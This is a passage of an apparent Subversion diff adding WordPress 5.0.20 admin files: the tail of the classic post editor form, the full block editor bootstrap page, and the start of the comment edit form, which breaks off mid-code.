+		__( '<strong>Publish</strong> &mdash; You can set the terms of publishing your post in the Publish box. For Status, Visibility, and Publish (immediately), click on the Edit link to reveal more options. Visibility includes options for password-protecting a post or making it stay at the top of your blog indefinitely (sticky). The Password protected option allows you to set an arbitrary password for each post. The Private option hides the post from everyone except editors and administrators. Publish (immediately) allows you to set a future or past date and time, so you can schedule a post to be published in the future or backdate a post.' ) .
+	'</li>';
+
+	if ( current_theme_supports( 'post-formats' ) && post_type_supports( 'post', 'post-formats' ) ) {
+		$publish_box .= '<li>' . __( '<strong>Format</strong> &mdash; Post Formats designate how your theme will display a specific post. For example, you could have a <em>standard</em> blog post with a title and paragraphs, or a short <em>aside</em> that omits the title and contains a short text blurb. Please refer to the Codex for <a href="https://codex.wordpress.org/Post_Formats#Supported_Formats">descriptions of each post format</a>. Your theme could enable all or some of 10 possible formats.' ) . '</li>';
+	}
+
+	if ( current_theme_supports( 'post-thumbnails' ) && post_type_supports( 'post', 'thumbnail' ) ) {
+		/* translators: %s: Featured Image */
+		$publish_box .= '<li>' . sprintf( __( '<strong>%s</strong> &mdash; This allows you to associate an image with your post without inserting it. This is usually useful only if your theme makes use of the image as a post thumbnail on the home page, a custom header, etc.' ), esc_html( $post_type_object->labels->featured_image ) ) . '</li>';
+	}
+
+	$publish_box .= '</ul>';
+
+	get_current_screen()->add_help_tab( array(
+		'id'      => 'publish-box',
+		'title'   => __('Publish Settings'),
+		'content' => $publish_box,
+	) );
+
+	$discussion_settings  = '<p>' . __('<strong>Send Trackbacks</strong> &mdash; Trackbacks are a way to notify legacy blog systems that you&#8217;ve linked to them. Enter the URL(s) you want to send trackbacks. If you link to other WordPress sites they&#8217;ll be notified automatically using pingbacks, and this field is unnecessary.') . '</p>';
+	$discussion_settings .= '<p>' . __('<strong>Discussion</strong> &mdash; You can turn comments and pings on or off, and if there are comments on the post, you can see them here and moderate them.') . '</p>';
+
+	get_current_screen()->add_help_tab( array(
+		'id'      => 'discussion-settings',
+		'title'   => __('Discussion Settings'),
+		'content' => $discussion_settings,
+	) );
+} elseif ( 'page' == $post_type ) {
+	$page_attributes = '<p>' . __('<strong>Parent</strong> &mdash; You can arrange your pages in hierarchies. For example, you could have an &#8220;About&#8221; page that has &#8220;Life Story&#8221; and &#8220;My Dog&#8221; pages under it. There are no limits to how many levels you can nest pages.') . '</p>' .
+		'<p>' . __('<strong>Template</strong> &mdash; Some themes have custom templates you can use for certain pages that might have additional features or custom layouts. If so, you&#8217;ll see them in this dropdown menu.') . '</p>' .
+		'<p>' . __('<strong>Order</strong> &mdash; Pages are usually ordered alphabetically, but you can choose your own order by entering a number (1 for first, etc.) in this field.') . '</p>';
+
+	get_current_screen()->add_help_tab( array(
+		'id' => 'page-attributes',
+		'title' => __('Page Attributes'),
+		'content' => $page_attributes,
+	) );
+}
+
+require_once( ABSPATH . 'wp-admin/admin-header.php' );
+?>
+
+<div class="wrap">
+<h1 class="wp-heading-inline"><?php
+echo esc_html( $title );
+?></h1>
+
+<?php
+if ( isset( $post_new_file ) && current_user_can( $post_type_object->cap->create_posts ) ) {
+	echo ' <a href="' . esc_url( admin_url( $post_new_file ) ) . '" class="page-title-action">' . esc_html( $post_type_object->labels->add_new ) . '</a>';
+}
+?>
+
+<hr class="wp-header-end">
+
+<?php if ( $notice ) : ?>
+<div id="notice" class="notice notice-warning"><p id="has-newer-autosave"><?php echo $notice ?></p></div>
+<?php endif; ?>
+<?php if ( $message ) : ?>
+<div id="message" class="updated notice notice-success is-dismissible"><p><?php echo $message; ?></p></div>
+<?php endif; ?>
+<div id="lost-connection-notice" class="error hidden">
+	<p><span class="spinner"></span> <?php _e( '<strong>Connection lost.</strong> Saving has been disabled until you&#8217;re reconnected.' ); ?>
+	<span class="hide-if-no-sessionstorage"><?php _e( 'We&#8217;re backing up this post in your browser, just in case.' ); ?></span>
+	</p>
+</div>
+<form name="post" action="post.php" method="post" id="post"<?php
+/**
+ * Fires inside the post editor form tag.
+ *
+ * @since 3.0.0
+ *
+ * @param WP_Post $post Post object.
+ */
+do_action( 'post_edit_form_tag', $post );
+
+$referer = wp_get_referer();
+?>>
+<?php wp_nonce_field($nonce_action); ?>
+<input type="hidden" id="user-id" name="user_ID" value="<?php echo (int) $user_ID ?>" />
+<input type="hidden" id="hiddenaction" name="action" value="<?php echo esc_attr( $form_action ) ?>" />
+<input type="hidden" id="originalaction" name="originalaction" value="<?php echo esc_attr( $form_action ) ?>" />
+<input type="hidden" id="post_author" name="post_author" value="<?php echo esc_attr( $post->post_author ); ?>" />
+<input type="hidden" id="post_type" name="post_type" value="<?php echo esc_attr( $post_type ) ?>" />
+<input type="hidden" id="original_post_status" name="original_post_status" value="<?php echo esc_attr( $post->post_status) ?>" />
+<input type="hidden" id="referredby" name="referredby" value="<?php echo $referer ? esc_url( $referer ) : ''; ?>" />
+<?php if ( ! empty( $active_post_lock ) ) { ?>
+<input type="hidden" id="active_post_lock" value="<?php echo esc_attr( implode( ':', $active_post_lock ) ); ?>" />
+<?php
+}
+if ( 'draft' != get_post_status( $post ) )
+	wp_original_referer_field(true, 'previous');
+
+echo $form_extra;
+
+wp_nonce_field( 'meta-box-order', 'meta-box-order-nonce', false );
+wp_nonce_field( 'closedpostboxes', 'closedpostboxesnonce', false );
+?>
+
+<?php
+/**
+ * Fires at the beginning of the edit form.
+ *
+ * At this point, the required hidden fields and nonces have already been output.
+ *
+ * @since 3.7.0
+ *
+ * @param WP_Post $post Post object.
+ */
+do_action( 'edit_form_top', $post ); ?>
+
+<div id="poststuff">
+<div id="post-body" class="metabox-holder columns-<?php echo 1 == get_current_screen()->get_columns() ? '1' : '2'; ?>">
+<div id="post-body-content">
+
+<?php if ( post_type_supports($post_type, 'title') ) { ?>
+<div id="titlediv">
+<div id="titlewrap">
+	<?php
+	/**
+	 * Filters the title field placeholder text.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param string  $text Placeholder text. Default 'Enter title here'.
+	 * @param WP_Post $post Post object.
+	 */
+	$title_placeholder = apply_filters( 'enter_title_here', __( 'Enter title here' ), $post );
+	?>
+	<label class="screen-reader-text" id="title-prompt-text" for="title"><?php echo $title_placeholder; ?></label>
+	<input type="text" name="post_title" size="30" value="<?php echo esc_attr( $post->post_title ); ?>" id="title" spellcheck="true" autocomplete="off" />
+</div>
+<?php
+/**
+ * Fires before the permalink field in the edit form.
+ *
+ * @since 4.1.0
+ *
+ * @param WP_Post $post Post object.
+ */
+do_action( 'edit_form_before_permalink', $post );
+?>
+<div class="inside">
+<?php
+if ( $viewable ) :
+$sample_permalink_html = $post_type_object->public ? get_sample_permalink_html($post->ID) : '';
+
+// As of 4.4, the Get Shortlink button is hidden by default.
+if ( has_filter( 'pre_get_shortlink' ) || has_filter( 'get_shortlink' ) ) {
+	$shortlink = wp_get_shortlink($post->ID, 'post');
+
+	if ( !empty( $shortlink ) && $shortlink !== $permalink && $permalink !== home_url('?page_id=' . $post->ID) ) {
+		$sample_permalink_html .= '<input id="shortlink" type="hidden" value="' . esc_attr( $shortlink ) . '" /><button type="button" class="button button-small" onclick="prompt(&#39;URL:&#39;, jQuery(\'#shortlink\').val());">' . __( 'Get Shortlink' ) . '</button>';
+	}
+}
+
+if ( $post_type_object->public && ! ( 'pending' == get_post_status( $post ) && !current_user_can( $post_type_object->cap->publish_posts ) ) ) {
+	$has_sample_permalink = $sample_permalink_html && 'auto-draft' != $post->post_status;
+?>
+	<div id="edit-slug-box" class="hide-if-no-js">
+	<?php
+		if ( $has_sample_permalink )
+			echo $sample_permalink_html;
+	?>
+	</div>
+<?php
+}
+endif;
+?>
+</div>
+<?php
+wp_nonce_field( 'samplepermalink', 'samplepermalinknonce', false );
+?>
+</div><!-- /titlediv -->
+<?php
+}
+/**
+ * Fires after the title field.
+ *
+ * @since 3.5.0
+ *
+ * @param WP_Post $post Post object.
+ */
+do_action( 'edit_form_after_title', $post );
+
+if ( post_type_supports($post_type, 'editor') ) {
+?>
+<div id="postdivrich" class="postarea<?php if ( $_wp_editor_expand ) { echo ' wp-editor-expand'; } ?>">
+
+<?php wp_editor( $post->post_content, 'content', array(
+	'_content_editor_dfw' => $_content_editor_dfw,
+	'drag_drop_upload' => true,
+	'tabfocus_elements' => 'content-html,save-post',
+	'editor_height' => 300,
+	'tinymce' => array(
+		'resize' => false,
+		'wp_autoresize_on' => $_wp_editor_expand,
+		'add_unload_trigger' => false,
+		'wp_keep_scroll_position' => ! $is_IE,
+	),
+) ); ?>
+<table id="post-status-info"><tbody><tr>
+	<td id="wp-word-count" class="hide-if-no-js"><?php printf( __( 'Word count: %s' ), '<span class="word-count">0</span>' ); ?></td>
+	<td class="autosave-info">
+	<span class="autosave-message">&nbsp;</span>
+<?php
+	if ( 'auto-draft' != $post->post_status ) {
+		echo '<span id="last-edit">';
+		if ( $last_user = get_userdata( get_post_meta( $post_ID, '_edit_last', true ) ) ) {
+			/* translators: 1: Name of most recent post author, 2: Post edited date, 3: Post edited time */
+			printf( __( 'Last edited by %1$s on %2$s at %3$s' ), esc_html( $last_user->display_name ), mysql2date( __( 'F j, Y' ), $post->post_modified ), mysql2date( __( 'g:i a' ), $post->post_modified ) );
+		} else {
+			/* translators: 1: Post edited date, 2: Post edited time */
+			printf( __( 'Last edited on %1$s at %2$s' ), mysql2date( __( 'F j, Y' ), $post->post_modified ), mysql2date( __( 'g:i a' ), $post->post_modified ) );
+		}
+		echo '</span>';
+	} ?>
+	</td>
+	<td id="content-resize-handle" class="hide-if-no-js"><br /></td>
+</tr></tbody></table>
+
+</div>
+<?php }
+/**
+ * Fires after the content editor.
+ *
+ * @since 3.5.0
+ *
+ * @param WP_Post $post Post object.
+ */
+do_action( 'edit_form_after_editor', $post );
+?>
+</div><!-- /post-body-content -->
+
+<div id="postbox-container-1" class="postbox-container">
+<?php
+
+if ( 'page' == $post_type ) {
+	/**
+	 * Fires before meta boxes with 'side' context are output for the 'page' post type.
+	 *
+	 * The submitpage box is a meta box with 'side' context, so this hook fires just before it is output.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param WP_Post $post Post object.
+	 */
+	do_action( 'submitpage_box', $post );
+}
+else {
+	/**
+	 * Fires before meta boxes with 'side' context are output for all post types other than 'page'.
+	 *
+	 * The submitpost box is a meta box with 'side' context, so this hook fires just before it is output.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param WP_Post $post Post object.
+	 */
+	do_action( 'submitpost_box', $post );
+}
+
+
+do_meta_boxes($post_type, 'side', $post);
+
+?>
+</div>
+<div id="postbox-container-2" class="postbox-container">
+<?php
+
+do_meta_boxes(null, 'normal', $post);
+
+if ( 'page' == $post_type ) {
+	/**
+	 * Fires after 'normal' context meta boxes have been output for the 'page' post type.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param WP_Post $post Post object.
+	 */
+	do_action( 'edit_page_form', $post );
+}
+else {
+	/**
+	 * Fires after 'normal' context meta boxes have been output for all post types other than 'page'.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param WP_Post $post Post object.
+	 */
+	do_action( 'edit_form_advanced', $post );
+}
+
+
+do_meta_boxes(null, 'advanced', $post);
+
+?>
+</div>
+<?php
+/**
+ * Fires after all meta box sections have been output, before the closing #post-body div.
+ *
+ * @since 2.1.0
+ *
+ * @param WP_Post $post Post object.
+ */
+do_action( 'dbx_post_sidebar', $post );
+
+?>
+</div><!-- /post-body -->
+<br class="clear" />
+</div><!-- /poststuff -->
+</form>
+</div>
+
+<?php
+if ( post_type_supports( $post_type, 'comments' ) )
+	wp_comment_reply();
+?>
+
+<?php if ( ! wp_is_mobile() && post_type_supports( $post_type, 'title' ) && '' === $post->post_title ) : ?>
+<script type="text/javascript">
+try{document.post.title.focus();}catch(e){}
+</script>
+<?php endif; ?>
Index: /tags/5.0.20/src/wp-admin/edit-form-blocks.php
===================================================================
--- /tags/5.0.20/src/wp-admin/edit-form-blocks.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/edit-form-blocks.php	(revision 56912)
@@ -0,0 +1,430 @@
+<?php
+/**
+ * The Block Editor page.
+ *
+ * @since 5.0.0
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+// don't load directly
+if ( ! defined( 'ABSPATH' ) ) {
+	die( '-1' );
+}
+
+/**
+ * @global string       $post_type
+ * @global WP_Post_Type $post_type_object
+ * @global WP_Post      $post
+ * @global string       $title
+ * @global array        $editor_styles
+ * @global array        $wp_meta_boxes
+ */
+global $post_type, $post_type_object, $post, $title, $editor_styles, $wp_meta_boxes;
+
+// Flag that we're loading the block editor.
+$current_screen = get_current_screen();
+$current_screen->is_block_editor( true );
+
+/*
+ * Emoji replacement is disabled for now, until it plays nicely with React.
+ */
+remove_action( 'admin_print_scripts', 'print_emoji_detection_script' );
+
+wp_enqueue_script( 'heartbeat' );
+wp_enqueue_script( 'wp-edit-post' );
+wp_enqueue_script( 'wp-format-library' );
+
+$rest_base = ! empty( $post_type_object->rest_base ) ? $post_type_object->rest_base : $post_type_object->name;
+
+// Preload common data.
+$preload_paths = array(
+	'/',
+	'/wp/v2/types?context=edit',
+	'/wp/v2/taxonomies?per_page=-1&context=edit',
+	'/wp/v2/themes?status=active',
+	sprintf( '/wp/v2/%s/%s?context=edit', $rest_base, $post->ID ),
+	sprintf( '/wp/v2/types/%s?context=edit', $post_type ),
+	sprintf( '/wp/v2/users/me?post_type=%s&context=edit', $post_type ),
+	array( '/wp/v2/media', 'OPTIONS' ),
+);
+
+/**
+ * Preload common data by specifying an array of REST API paths that will be preloaded.
+ *
+ * Filters the array of paths that will be preloaded.
+ *
+ * @since 5.0.0
+ *
+ * @param array  $preload_paths Array of paths to preload.
+ * @param object $post          The post resource data.
+ */
+$preload_paths = apply_filters( 'block_editor_preload_paths', $preload_paths, $post );
+
+/*
+ * Ensure the global $post remains the same after API data is preloaded.
+ * Because API preloading can call the_content and other filters, plugins
+ * can unexpectedly modify $post.
+ */
+$backup_global_post = $post;
+
+$preload_data = array_reduce(
+	$preload_paths,
+	'rest_preload_api_request',
+	array()
+);
+
+// Restore the global $post as it was before API preloading.
+$post = $backup_global_post;
+
+wp_add_inline_script(
+	'wp-api-fetch',
+	sprintf( 'wp.apiFetch.use( wp.apiFetch.createPreloadingMiddleware( %s ) );', wp_json_encode( $preload_data ) ),
+	'after'
+);
+
+wp_add_inline_script(
+	'wp-blocks',
+	sprintf( 'wp.blocks.setCategories( %s );', wp_json_encode( get_block_categories( $post ) ) ),
+	'after'
+);
+
+/*
+ * Assign initial edits, if applicable. These are not initially assigned to the persisted post,
+ * but should be included in its save payload.
+ */
+$initial_edits = null;
+$is_new_post = false;
+if ( 'auto-draft' === $post->post_status ) {
+	$is_new_post = true;
+	// Override "(Auto Draft)" new post default title with empty string, or filtered value.
+	$initial_edits = array(
+		'title'   => $post->post_title,
+		'content' => $post->post_content,
+		'excerpt' => $post->post_excerpt,
+	);
+}
+
+// Preload server-registered block schemas.
+wp_add_inline_script(
+	'wp-blocks',
+	'wp.blocks.unstable__bootstrapServerSideBlockDefinitions(' . wp_json_encode( get_block_editor_server_block_settings() ) . ');'
+);
+
+// Get admin url for handling meta boxes.
+$meta_box_url = admin_url( 'post.php' );
+$meta_box_url = add_query_arg(
+	array(
+		'post'            => $post->ID,
+		'action'          => 'edit',
+		'meta-box-loader' => true,
+		'_wpnonce'        => wp_create_nonce( 'meta-box-loader' ),
+	),
+	$meta_box_url
+);
+wp_localize_script( 'wp-editor', '_wpMetaBoxUrl', $meta_box_url );
+
+
+/*
+ * Initialize the editor.
+ */
+
+$align_wide    = get_theme_support( 'align-wide' );
+$color_palette = current( (array) get_theme_support( 'editor-color-palette' ) );
+$font_sizes    = current( (array) get_theme_support( 'editor-font-sizes' ) );
+
+/**
+ * Filters the allowed block types for the editor, defaulting to true (all
+ * block types supported).
+ *
+ * @since 5.0.0
+ *
+ * @param bool|array $allowed_block_types Array of block type slugs, or
+ *                                        boolean to enable/disable all.
+ * @param object $post                    The post resource data.
+ */
+$allowed_block_types = apply_filters( 'allowed_block_types', true, $post );
+
+// Get all available templates for the post/page attributes meta-box.
+// The "Default template" array element should only be added if the array is
+// not empty so we do not trigger the template select element without any options
+// besides the default value.
+$available_templates = wp_get_theme()->get_page_templates( get_post( $post->ID ) );
+$available_templates = ! empty( $available_templates ) ? array_merge(
+	array(
+		/** This filter is documented in wp-admin/includes/meta-boxes.php */
+		'' => apply_filters( 'default_page_template_title', __( 'Default template' ), 'rest-api' ),
+	),
+	$available_templates
+) : $available_templates;
+
+// Media settings.
+$max_upload_size = wp_max_upload_size();
+if ( ! $max_upload_size ) {
+	$max_upload_size = 0;
+}
+
+// Editor Styles.
+$styles = array(
+	array(
+		'css' => file_get_contents(
+			ABSPATH . WPINC . '/css/dist/editor/editor-styles.css'
+		),
+	),
+);
+
+/* Translators: Use this to specify the CSS font family for the default font */
+$locale_font_family = esc_html_x( 'Noto Serif', 'CSS Font Family for Editor Font' );
+$styles[]           = array(
+	'css' => "body { font-family: '$locale_font_family' }",
+);
+
+if ( $editor_styles && current_theme_supports( 'editor-styles' ) ) {
+	foreach ( $editor_styles as $style ) {
+		if ( preg_match( '~^(https?:)?//~', $style ) ) {
+			$response = wp_remote_get( $style );
+			if ( ! is_wp_error( $response ) ) {
+				$styles[] = array(
+					'css' => wp_remote_retrieve_body( $response ),
+				);
+			}
+		} else {
+			$file = get_theme_file_path( $style );
+			if ( file_exists( $file ) ) {
+				$styles[] = array(
+					'css'     => file_get_contents( $file ),
+					'baseURL' => get_theme_file_uri( $style ),
+				);
+			}
+		}
+	}
+}
+
+// Image sizes.
+
+/** This filter is documented in wp-admin/includes/media.php */
+$image_size_names = apply_filters(
+	'image_size_names_choose',
+	array(
+		'thumbnail' => __( 'Thumbnail' ),
+		'medium'    => __( 'Medium' ),
+		'large'     => __( 'Large' ),
+		'full'      => __( 'Full Size' ),
+	)
+);
+
+$available_image_sizes = array();
+foreach ( $image_size_names as $image_size_slug => $image_size_name ) {
+	$available_image_sizes[] = array(
+		'slug' => $image_size_slug,
+		'name' => $image_size_name,
+	);
+}
+
+// Lock settings.
+$user_id = wp_check_post_lock( $post->ID );
+if ( $user_id ) {
+	/** This filter is documented in wp-admin/includes/post.php */
+	if ( apply_filters( 'show_post_locked_dialog', true, $post, $user_id ) ) {
+		$locked = true;
+	}
+
+	$user_details = null;
+	if ( $locked ) {
+		$user         = get_userdata( $user_id );
+		$user_details = array(
+			'name' => $user->display_name,
+		);
+		$avatar       = get_avatar_url( $user_id, array( 'size' => 64 ) );
+	}
+
+	$lock_details = array(
+		'isLocked' => $locked,
+		'user'     => $user_details,
+	);
+} else {
+	// Lock the post.
+	$active_post_lock = wp_set_post_lock( $post->ID );
+	$lock_details     = array(
+		'isLocked'       => false,
+		'activePostLock' => esc_attr( implode( ':', $active_post_lock ) ),
+	);
+}
+
+/**
+ * Filters the body placeholder text.
+ *
+ * @since 5.0.0
+ *
+ * @param string  $text Placeholder text. Default 'Start writing or type / to choose a block'.
+ * @param WP_Post $post Post object.
+ */
+$body_placeholder = apply_filters( 'write_your_story', __( 'Start writing or type / to choose a block' ), $post );
+
+$editor_settings = array(
+	'alignWide'              => $align_wide,
+	'availableTemplates'     => $available_templates,
+	'allowedBlockTypes'      => $allowed_block_types,
+	'disableCustomColors'    => get_theme_support( 'disable-custom-colors' ),
+	'disableCustomFontSizes' => get_theme_support( 'disable-custom-font-sizes' ),
+	'disablePostFormats'     => ! current_theme_supports( 'post-formats' ),
+	/** This filter is documented in wp-admin/edit-form-advanced.php */
+	'titlePlaceholder'       => apply_filters( 'enter_title_here', __( 'Add title' ), $post ),
+	'bodyPlaceholder'        => $body_placeholder,
+	'isRTL'                  => is_rtl(),
+	'autosaveInterval'       => 10,
+	'maxUploadFileSize'      => $max_upload_size,
+	'allowedMimeTypes'       => get_allowed_mime_types(),
+	'styles'                 => $styles,
+	'imageSizes'             => $available_image_sizes,
+	'richEditingEnabled'     => user_can_richedit(),
+	'postLock'               => $lock_details,
+	'postLockUtils'          => array(
+		'nonce'       => wp_create_nonce( 'lock-post_' . $post->ID ),
+		'unlockNonce' => wp_create_nonce( 'update-post_' . $post->ID ),
+		'ajaxUrl'     => admin_url( 'admin-ajax.php' ),
+	),
+
+	// Whether or not to load the 'postcustom' meta box is stored as a user meta
+	// field so that we're not always loading its assets.
+	'enableCustomFields'     => (bool) get_user_meta( get_current_user_id(), 'enable_custom_fields', true ),
+);
+
+$autosave = wp_get_post_autosave( $post_ID );
+if ( $autosave ) {
+	if ( mysql2date( 'U', $autosave->post_modified_gmt, false ) > mysql2date( 'U', $post->post_modified_gmt, false ) ) {
+		$editor_settings['autosave'] = array(
+			'editLink' => get_edit_post_link( $autosave->ID ),
+		);
+	} else {
+		wp_delete_post_revision( $autosave->ID );
+	}
+}
+
+if ( false !== $color_palette ) {
+	$editor_settings['colors'] = $color_palette;
+}
+
+if ( ! empty( $font_sizes ) ) {
+	$editor_settings['fontSizes'] = $font_sizes;
+}
+
+if ( ! empty( $post_type_object->template ) ) {
+	$editor_settings['template']     = $post_type_object->template;
+	$editor_settings['templateLock'] = ! empty( $post_type_object->template_lock ) ? $post_type_object->template_lock : false;
+}
+
+// If there's no template set on a new post, use the post format, instead.
+if ( $is_new_post && ! isset( $editor_settings['template'] ) && 'post' === $post->post_type ) {
+	$post_format = get_post_format( $post );
+	if ( in_array( $post_format, array( 'audio', 'gallery', 'image', 'quote', 'video' ), true ) ) {
+		$editor_settings['template'] = array( array( "core/$post_format" ) );
+	}
+}
+
+/**
+ * Scripts
+ */
+wp_enqueue_media(
+	array(
+		'post' => $post->ID,
+	)
+);
+wp_tinymce_inline_scripts();
+wp_enqueue_editor();
+
+/**
+ * Styles
+ */
+wp_enqueue_style( 'wp-edit-post' );
+wp_enqueue_style( 'wp-format-library' );
+
+/**
+ * Fires after block assets have been enqueued for the editing interface.
+ *
+ * Call `add_action` on any hook before 'admin_enqueue_scripts'.
+ *
+ * In the function call you supply, simply use `wp_enqueue_script` and
+ * `wp_enqueue_style` to add your functionality to the block editor.
+ *
+ * @since 5.0.0
+ */
+do_action( 'enqueue_block_editor_assets' );
+
+// In order to duplicate classic meta box behaviour, we need to run the classic meta box actions.
+require_once( ABSPATH . 'wp-admin/includes/meta-boxes.php' );
+register_and_do_post_meta_boxes( $post );
+
+// Check if the Custom Fields meta box has been removed at some point.
+$core_meta_boxes = $wp_meta_boxes[ $current_screen->id ]['normal']['core'];
+if ( ! isset( $core_meta_boxes['postcustom'] ) || ! $core_meta_boxes['postcustom'] ) {
+	unset( $editor_settings['enableCustomFields'] );
+}
+
+/**
+ * Filters the settings to pass to the block editor.
+ *
+ * @since 5.0.0
+ *
+ * @param array   $editor_settings Default editor settings.
+ * @param WP_Post $post            Post being edited.
+ */
+$editor_settings = apply_filters( 'block_editor_settings', $editor_settings, $post );
+
+$init_script = <<<JS
+( function() {
+	window._wpLoadBlockEditor = new Promise( function( resolve ) {
+		wp.domReady( function() {
+			resolve( wp.editPost.initializeEditor( 'editor', "%s", %d, %s, %s ) );
+		} );
+	} );
+} )();
+JS;
+
+$script = sprintf(
+	$init_script,
+	$post->post_type,
+	$post->ID,
+	wp_json_encode( $editor_settings ),
+	wp_json_encode( $initial_edits )
+);
+wp_add_inline_script( 'wp-edit-post', $script );
+
+require_once( ABSPATH . 'wp-admin/admin-header.php' );
+?>
+
+<div class="block-editor">
+	<h1 class="screen-reader-text hide-if-no-js"><?php echo esc_html( $title ); ?></h1>
+	<div id="editor" class="block-editor__container hide-if-no-js"></div>
+	<div id="metaboxes" class="hidden">
+		<?php the_block_editor_meta_boxes(); ?>
+	</div>
+
+	<?php // JavaScript is disabled. ?>
+	<div class="wrap hide-if-js block-editor-no-js">
+		<h1 class="wp-heading-inline"><?php echo esc_html( $title ); ?></h1>
+		<div class="notice notice-error notice-alt">
+			<p>
+				<?php
+					$message = sprintf(
+						/* translators: %s: https://wordpress.org/plugins/classic-editor/ */
+						__( 'The block editor requires JavaScript. Please enable JavaScript in your browser settings, or try the <a href="%s">Classic Editor plugin</a>.' ),
+						__( 'https://wordpress.org/plugins/classic-editor/' )
+					);
+
+					/**
+					 * Filters the message displayed in the block editor interface when JavaScript is
+					 * not enabled in the browser.
+					 *
+					 * @since 5.0.3
+					 *
+					 * @param string  $message The message being displayed.
+					 * @param WP_Post $post    The post being edited.
+					 */
+					echo apply_filters( 'block_editor_no_javascript_message', $message, $post );
+					?>
+			</p>
+		</div>
+	</div>
+</div>
Index: /tags/5.0.20/src/wp-admin/edit-form-comment.php
===================================================================
--- /tags/5.0.20/src/wp-admin/edit-form-comment.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/edit-form-comment.php	(revision 56912)
@@ -0,0 +1,213 @@
+<?php
+/**
+ * Edit comment form for inclusion in another file.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+// don't load directly
+if ( !defined('ABSPATH') )
+	die('-1');
+?>
+<form name="post" action="comment.php" method="post" id="post">
+<?php wp_nonce_field('update-comment_' . $comment->comment_ID) ?>
+<div class="wrap">
+<h1><?php _e( 'Edit Comment' ); ?></h1>
+
+<div id="poststuff">
+<input type="hidden" name="action" value="editedcomment" />
+<input type="hidden" name="comment_ID" value="<?php echo esc_attr( $comment->comment_ID ); ?>" />
+<input type="hidden" name="comment_post_ID" value="<?php echo esc_attr( $comment->comment_post_ID ); ?>" />
+
+<div id="post-body" class="metabox-holder columns-2">
+<div id="post-body-content" class="edit-form-section edit-comment-section">
+<?php
+if ( 'approved' === wp_get_comment_status( $comment ) && $comment->comment_post_ID > 0 ) :
+	$comment_link = get_comment_link( $comment );
+?>
+<div class="inside">
+	<div id="comment-link-box">
+		<strong><?php _ex( 'Permalink:', 'comment' ); ?></strong>
+		<span id="sample-permalink">
+			<a href="<?php echo esc_url( $comment_link ); ?>">
+				<?php echo esc_html( $comment_link ); ?>
+			</a>
+		</span>
+	</div>
+</div>
+<?php endif; ?>
+<div id="namediv" class="stuffbox">
+<div class="inside">
+<fieldset>
+<legend class="edit-comment-author"><?php _e( 'Author' ) ?></legend>
+<table class="form-table editcomment">
+<tbody>
+<tr>
+	<td class="first"><label for="name"><?php _e( 'Name:' ); ?></label></td>
+	<td><input type="text" name="newcomment_author" size="30" value="<?php echo esc_attr( $comment->comment_author ); ?>" id="name" /></td>
+</tr>
+<tr>
+	<td class="first"><label for="email"><?php _e( 'Email:' ); ?></label></td>
+	<td>
+		<input type="text" name="newcomment_author_email" size="30" value="<?php echo $comment->comment_author_email; ?>" id="email" />
+	</td>
+</tr>
+<tr>
+	<td class="first"><label for="newcomment_author_url"><?php _e( 'URL:' ); ?></label></td>
+	<td>
+		<input type="text" id="newcomment_author_url" name="newcomment_author_url" size="30" class="code" value="<?php echo esc_attr($comment->comment_author_url); ?>" />
+	</td>
+</tr>
+</tbody>
+</table>
+<br />
+</fieldset>
+</div>
+</div>
+
+<div id="postdiv" class="postarea">
+<?php
+	echo '<label for="content" class="screen-reader-text">' . __( 'Comment' ) . '</label>';
+	$quicktags_settings = array( 'buttons' => 'strong,em,link,block,del,ins,img,ul,ol,li,code,close' );
+	wp_editor( $comment->comment_content, 'content', array( 'media_buttons' => false, 'tinymce' => false, 'quicktags' => $quicktags_settings ) );
+	wp_nonce_field( 'closedpostboxes', 'closedpostboxesnonce', false ); ?>
+</div>
+</div><!-- /post-body-content -->
+
+<div id="postbox-container-1" class="postbox-container">
+<div id="submitdiv" class="stuffbox" >
+<h2><?php _e( 'Status' ) ?></h2>
+<div class="inside">
+<div class="submitbox" id="submitcomment">
+<div id="minor-publishing">
+
+<div id="misc-publishing-actions">
+
+<fieldset class="misc-pub-section misc-pub-comment-status" id="comment-status-radio">
+<legend class="screen-reader-text"><?php _e( 'Comment status' ); ?></legend>
+<label><input type="radio"<?php checked( $comment->comment_approved, '1' ); ?> name="comment_status" value="1" /><?php _ex( 'Approved', 'comment status' ); ?></label><br />
+<label><input type="radio"<?php checked( $comment->comment_approved, '0' ); ?> name="comment_status" value="0" /><?php _ex( 'Pending', 'comment status' ); ?></label><br />
+<label><input type="radio"<?php checked( $comment->comment_approved, 'spam' ); ?> name="comment_status" value="spam" /><?php _ex( 'Spam', 'comment status' ); ?></label>
+</fieldset>
+
+<div class="misc-pub-section curtime misc-pub-curtime">
+<?php
+/* translators: Publish box date format, see https://secure.php.net/date */
+$datef = __( 'M j, Y @ H:i' );
+?>
+<span id="timestamp"><?php
+printf(
+	/* translators: %s: comment date */
+	__( 'Submitted on: %s' ),
+	'<b>' . date_i18n( $datef, strtotime( $comment->comment_date ) ) . '</b>'
+);
+?></span>
+<a href="#edit_timestamp" class="edit-timestamp hide-if-no-js"><span aria-hidden="true"><?php _e( 'Edit' ); ?></span> <span class="screen-reader-text"><?php _e( 'Edit date and time' ); ?></span></a>
+<fieldset id='timestampdiv' class='hide-if-js'>
+<legend class="screen-reader-text"><?php _e( 'Date and time' ); ?></legend>
+<?php touch_time( ( 'editcomment' === $action ), 0 ); ?>
+</fieldset>
+</div>
+
+<?php
+$post_id = $comment->comment_post_ID;
+if ( current_user_can( 'edit_post', $post_id ) ) {
+	$post_link = "<a href='" . esc_url( get_edit_post_link( $post_id ) ) . "'>";
+	$post_link .= esc_html( get_the_title( $post_id ) ) . '</a>';
+} else {
+	$post_link = esc_html( get_the_title( $post_id ) );
+}
+?>
+
+<div class="misc-pub-section misc-pub-response-to">
+	<?php printf(
+		/* translators: %s: post link */
+		__( 'In response to: %s' ),
+		'<b>' . $post_link . '</b>'
+	); ?>
+</div>
+
+<?php
+if ( $comment->comment_parent ) :
+	$parent      = get_comment( $comment->comment_parent );
+	if ( $parent ) :
+		$parent_link = esc_url( get_comment_link( $parent ) );
